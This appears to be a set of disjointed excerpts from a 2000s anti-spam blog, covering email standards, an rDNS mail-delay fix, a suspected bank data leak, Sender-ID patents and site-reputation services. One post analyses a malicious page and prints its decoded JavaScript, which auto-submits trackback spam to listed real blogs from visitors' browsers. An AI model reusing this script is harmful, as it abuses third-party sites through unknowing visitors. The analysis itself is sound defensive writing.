The first draft as written by me in the beginning of 2005 after I left ASRG. The draft bounced back and forth over the last few years among an informal group of people at a mailing list maintained by Dave Crocker at MIPA. A large number of the list members were also members of MAAWG (of which I never formally participated but had the pleasure of speaking at their first conference in DC).

As I ran out of time, others have taken over the editing of the draft until the current editor, Murray Kucheraway took over. He has been very helpful in pushing for IETF standardization. A funny thing happened along the way as well – big ISPs started using the format – first AOL, then Yahoo and Microsoft.

This year, the IETF finally chartered a new working group which will now hopefully standardize this format and set it in a fixed version, so it can be used even more widely. Along with this, there is possibility of expanding different parts or uses of it as well.

A word of thanks goes out to all of the people that made this happen.

It seems that the refer is hosting a malicious HTML page. That page consists of a set of Javascripts which load new frames and submit track back pings to other blogs on the Internet. That means that anyone going to that malicious page is automatically submitting trackback spam somewhere else on the Net. When blog owners see the spam, they go back to check out the refer and end up on the malicios page, which then submits more track back spams in the background. The track backs themselves lead to fake blogs and search results, which eventually either lead to drug stores or ad-populated pages.

There are several interesting things here. First – the malicious page kind of propagates itself. Second, the page does not use any kind of security exploits – everything is done through regular Javascripts. Third, there is apparently enough interest in refers that it generates enough traffic to affect other sites. All of these is very similar to the way regular spam and viruses are spread – through zombie computers, except in this case the browsers are zombies.

Below are some snippets from the code of this site (you can view the decoded site source here – courtesy of Stephane “Gooby” Theroux’s decoder):

First the site loads an array with the target track back URLs:

var ss = new Array('http://140.99.61.57/cgi-bin/mt/mt-tb.cgi/211', 'http://64.130.58.178/cgi-sys/cgiwrap/ebradio/managed-mt/mt-tb.cgi/55', 'http://www.creativedestruction.com/MT/mt-tb.cgi/25', 'http://www.thirstytheologian.com/mt/mt-tb.cgi/287', 'http://www.ultrasparky.org/mt/mt-tb.cgi/5406', 'http://blog.avramovic.info/bblog/trackback.php/9/', 'http://www.technologyevangelist.com/cgi-bin/mt-tb.fcgi/685', 'http://www.edspresso.com/cgi-bin/mt/mt-t.cgi/1002', 'http://hellyes.nl/iam/wp-trackback.php?p=3', 'http://varnam.org/mt33/mt-tb.cgi/157', 'http://varnam.org/mt33/mt-tb.cgi/157');

The next step is to create the frames and forms inside:


var d = parent.fr1.document;
d.write('<div id=mainpage style="display:none">');
d.write('<div id=tbdescr align=center></div>');
d.write('<form name=fff method=POST target=fr2>');
d.write('<input type=text name=url>');
d.write('<input type=text name=title>');
d.write('<input type=text name=excerpt>');
d.write('<input type=text name=blogname>');
d.write('</form>');
d.write('</div>');
tbsp();


Third step is to load up the forms and submit:


function tbsp()
{
var d = parent.fr1.document;
d.getElementById('tbdescr').innerHTML = ii ': ' unescape(ss[ii]);
d.fff.action = unescape(ss[ii]);
d.fff.url.value = unescape('http://getdayfile.nicespace.ca');
d.fff.title.value = unescape('Diphtheria');
d.fff.excerpt.value = 'Read more about ' unescape('Diphtheria');
d.fff.blogname.value = unescape('Diphtheria');
d.fff.submit();
...


Fourth step – rinse, repeat:


if (ii > 0) {
ii--;
setTimeout('tbsp()', 10000);
} else {
setTimeout('refresh()', 2000);
}


The reason why this is allowed to happen is due to the fact that the browser does not restrict interaction with child frames. Thus, dynamically created frames with malicious form submits can happen without user interaction. It is not out of the realm of possibility for this type of attack to be extended to any sort of Web service or web application that can accept GET or POST. In fact it would probably be trivial but most social networks and web applications should filter out Javascript.

At the current time there is no protection against this type of attack other than disabling Javascript or having the browser warn you before submitting a form.

Comments are welcome at blog /at/ shaftek [dot] org.

While at the office, I started troubleshooting with the first computer that had the issue. I tried telneting to port 25 to several mail servers. To my suprise, only two mail servers – the ones they used had the problem, while others such as my own were fine. Their two mail servers – smtp.cavtel.net and smtp.concentric.net would just sit there with a blinking cursor for 30 to 45 seconds until the 220 SMTP banner would come up and then they worked just fine.

I basically worked my way back from that computer to their Internet connection:
1. Removed the antivirus on that one computer, no change.
2. Change firewall settings, no change.
3. Tried other computers in the office, same problem.
4. Brought my own computer, same problem.
5. Upgraded firmware on their router, no change.
6. Disconnected the router and connected directly to the DSL modem with my own computer, no change.

At this point I was pretty sure that the issue wasn’t on their end. However, what made the problem more weird is that only some mail servers were affected but those operated by different companies, AND it wasn’t a flat out failure but rather a delay of 30 seconds.

The next step was to call their ISP – Cavalier Telecom. After getting assurances that there was no blockages throttling on their site, the technician I spoke to went to get helps from higher ups. For the next 45 minutes he was putting me own, asking basic questions like “Can you ping our mail server?” and going back to consulting with other technicians. To their credit, they actually knew what they were talking about – something that cannot be said about many other tech support calls nowadays.

While I was on hold with the ISP, I was googling for different problems. By accident I ran across a mention how AOL rejects any SMTP sessions originating from an IP without an reverse DNS entry (PTR). On a hunch, I went to check if my client’s static IP had an rDNS entry – and guess what – they DID NOT! So the next time the technician got on the phone, I asked him to add one in just in case. Half a hour later, mail become blazing fast.

To summarize, what I believe happened is that the two mail servers in questions were running similar software (Postfix I think) and were trying to resolve the rDNS of the connecting IP when starting the SMTP session. For some reason, the rDNS timeout was set pretty high, and the session basically sat there doing nothing until the lookup failed completely. A very unusual and interesting problem.

Now unlike most, I think this may turn out to be a good thing. Why? Because it imposes some cost on the spammers. Unfortunatly, the cost isn’t high enough, but nevertheless it is something. However, in some ways it is similar to e-postage which as my collegue, John R. Levine, addressed does not solve spam. Instead what may be the final solution to spam is increased cooperation among ISPs, along the lines of what Carl Hutzler wrote a while back.

Thank you for contacting EmigrantDirect. Kindly accept our apologies for any inconvenience these unsolicited emails may have caused you. We are aware of the situation and are currently investigating the matter. Please forward us a copy of those e-mails you are receiving to customerservice@emigrantdirect.com and we will escalate this matter to our security department for a proper investigation.

This means that somehow their customer information (including my account) was stolen sometime before the switch to their new system happened in July (maybe that’s why they switched?). Now the interesting question, is that Emigrant is based in NY state which has a mandatory reporting law as seen in this form. I asked Emigrant whether they plan on doing so and got the following reply:

Thank you for contacting us. We have forwarded your email to our Legal Department.

Given that aside from my email address, other sensitive information such as my social security number may have been stolen, I closed my account with them and moved over to HSBC. UNTIL THEY ARE MORE FORTHCOMING ON THE ISSUE, I RECOMMEND THAT EVERYONE SWITCHES AWAY FROM THEM AS WELL. You never know what information they lost.

On a closing note, I am not the only one having this issue. Here are links to some of the other people who have seen this behavior as well:
o Motley Fool’s forums – 1, 2, and 3
o Comments at FiveCentNickel – see #2
o ArtTechnica forums – here
o A post on BankDeals – here and comments here
o Comments on SlickDeals – here

This type of thing has happened before with AmeriTrade.

P.P.S. Spam samples available upon request.

The moral of the story – Any security measures that are running client side is inherently not controlled by you, and thus cannot be fully trusted (unless they are hardware based such as SecurID).

What does work? How about some of the tips mentioned by Bruce Scheiner in his post such as asking additionally security questions if a customer logins in out of country, etc.

P.S. Another security point to take up with HSBC – they use a two step process – first the username, then the second step does the password. However, this allows someone to verify whether a specific username exists or does not exists – a well known “no-no”.

RFC 4405 – SUBMITTER SMTP extensions to be used with Sender-ID
RFC 4406 – main Sender-ID draft
RFC 4407 – PRA algorithm (which is what Microsoft was trying to patent – also see this)

RFC 4408 – main SPF draft

Additionally, while stumbling around the US Patent Office system looking at Microsoft’s patent applications for Sender-ID, I found something rather interesting. The applications in question (10/683,624 and 10/684,020) were filed October 10th, 2003. HOWEVER, both of them claim descend from another provisional application # 60/454,517 filed on March 12th, 2003. Incidently the ASRG opened for business a mere two weeks before (February 26th, 2003) AND the first working message posted to the list was by Hadmut Danisch on March 3rd, 2003 who authored the RMX draft which was the first of all pre-SPF and Sender-ID drafts. His first draft is dated December 2002 and can be found here.

Now the interesting stuff start here (you might want to have a copy of the original application handy which can be found here). Basically looking through the application, on pages 18 and 20, and then again on pages 55 and 56 RMX is claimed and described, virtually identical in function to the Hadmut draft mentioned above.

The mind boggles the probability of a Microsoft employee independetly coming up with an identical scheme called by the same name virtually two weeks after the scheme in question was mention on a brand new anti-spam standards-related list on which Microsoft employees started posted a mere two months later. I will leave the rest for you folks to decide.

(For those wanting to check the original application, use this USPTO site with app # 60/454,517).

1. A few months ago when I added tags, I noticed that Technorati did not pick them up. This is till the case but it has gotten much worse – I no longer see my blog in their system when I sign in and I cannot reclaim it for some reason. Additionally, their search results have been a bit iffy lately returning mainly stale data. Also, today I ran across some old support emails from Technorati which were never answered by them. I tried following up, only to have my own emails to them returned right back to me. I did a little digging and noticed that others have been complaining as well. So for now, I added IceRocket’s site search to see if it is any better than Techorati with eventual goal to get rid of it all together.

2. Going over server logs, I noticed that a sizable chunk of my monthly transfers are being consumed by my track2rss project that uses RSS for tracking packages. Since my provider does not keep web logs past one week, I added a very rudimentary logging system to see what is going on. Random checks of tracking numbers revealed something VERY interesting – it seems that many of these packages have been delivered ages ago BUT the feeds were not removed. I am seriously considering adding something to generate warnings once the feed is over 2 weeks old so let users know to remove them. I am also planning on generating some graphs from the logs to see the overall usage. I also happened to see some referals coming from Ajax homepages like Google and NetVibes. I am considering writing up some widgets for them. There are also plans for adding DHL tracking. It has been a while since I worked on it.

3. For a while tagging has been causing a problem. Every time I added a new entry with more than 2 or 3 tags, I would 500 errors from MovableType. I finally figured out that the problem is the fact that my web host restricts scripts to a certain time limit and that causes them to time out while rebuilding tag archives. So as a temporary stop-gap measure I got the mt-rebuild script and am rebuilding stuff by hand. When I get the time, I will switch to either Movable Type dynamic or the new WordPress 2.0.

4. About a month ago I mentioned SiteAdvisor’s miscategorization of my site as one caring spyware. Well, after an email to them and a review by Ben “anti-spyware” Edelman himself, my rating is back to “mostly harmless”. Oh, and congrats to the Site Advisor team on being aquired by McAfee.

(Just as a side note, Ben Edelman addressed my prior comparison between spam blacklists and Site Advisor in a private email to me. I want to point out that SiteAdvisor has something that all blacklists should have – a proper removal mechanism. For more info, see section 2.6 of an old draft I once edited for the ASRG).

That’s all folks and happy Passover to all of you!

Earlier today I ran across a post at Brian Krepp’s security blog at the Washington Post about an add-on called “SiteAdvisor” which claims to provide helpful feedback when browsing as to whether a specific site is secure or not, whether it carries spyware, etc.

First, I tried out their Firefox extension (in my personal opinion, it doesn’t really do much compared to the IE one). But when I tried out the IE extension, I was suprised to see my own site blacklisted for providing spyware.

My first thought was that my site was hacked (like another recent attempt). However, a closer look revealed that the single potential file in question was in fact a piece of spyware I analyzed and posted about in this blog about a year ago. OBVIOUSLY, spyware analysis occasionally requires live samples and I don’t see how anybody would be stupid enough to download this on their own. In any case, I sent off an email to them to have this corrected.

I also noticed that Ben Edelman’s site has also been flagged (although not as severely) for linking to bad sites. Well, duh! – he is a spyware researcher, of course he links to his “subjects”. I did notice a comment from Ben himself correcting the record BUT the site rating was not changed.

All of this got me thinking – the same problems that we have in the email world with wrongful blacklisting are now being carried over to the phishing world as well where entire sites can be blacklisted as well. For example, Tucows is yellow-listed with ” In our tests, we found a small fraction of downloads on this site that some people consider adware or other unwanted programs.” while Download.com is green listed for basically the same thing with “In our tests of this site, a very small percentage of its many downloads contained adware or other unwanted programs. However, credible user feedback suggests this site is safe to use.” Would companies need to hire website reputation monitors just like they do for email? Perhaps this should get a second look?

“Quis cusotdiet ipsos custodes”

In any case, unless they plan on appealing to the ISOC board, this probably settles it. Both SPF and Sender-ID will be published as experimental standards, although I haven’t really heard a lot recently about either one them. Could it be that they are no longer popular?

(HatTip: Andy)

One very interesting question – how do they deal with tag spam?

In a bid to protect its members from e-mail fraud and phishing, and to offer consistency to commercial e-mail senders, AOL today will begin implementing Goodmail’s cryptographic CertifiedEmail program and phasing out its IP-based Enhanced Whitelist.

As part of its e-mail security practices, AOL blocks the display of images and hyperlinks on most high-volume messages, except if senders are on the AOL Enhanced whitelist and maintain very low complaint rates. Beginning today, AOL will also allow senders who have undergone accreditation through Goodmail to display images and hyperlinks by default. Goodmail charges accredited companies a fraction of a cent per message sent.

In addition, AOL will add a “trust symbol” to messages sent by Goodmail’s CertifiedEmail senders. It will appear in the inbox and the message window, so members will understand that a sender’s identity and reputation have been verified.

There are three important points here:
1. This fee is only charged for specific types of emails (“enhanced whitelist”) – with links and images. All other emails can be sent plain text.
2. A trust symbol will be used by AOL.
3. A cryptographic token is used for signing email similar to DKIM.

Leaving aside the business aspects, what is interesting about this, is that AOL is basically providing for the community a test-case of how three different things would work: e-postage, trust symbols (like browser padlocks) and cryptographic tokens. All of this of course will be very interesting to watch, especially the spammers’ reactions to this.

UPDATE: Suresh states in the comments at Circle-ID that the entire story might be wrong and AOL is not shutting down its enhanced whitelist. ALSO, it seems that the person who wrote the Circle-ID article is in fact a CEO of a competitor to GoodMail.

Good work, Justin!

UPDATE: So far, after almost a month of running it this way, I have seen no ill side effects.

There is also an interesting tidbit on using RSS for email. There is even an existing service for this called Feed Mail but unfortunatly it does not use an open specification AND is not open source. In order for something like this to be successful it must be open (I might write more on that later).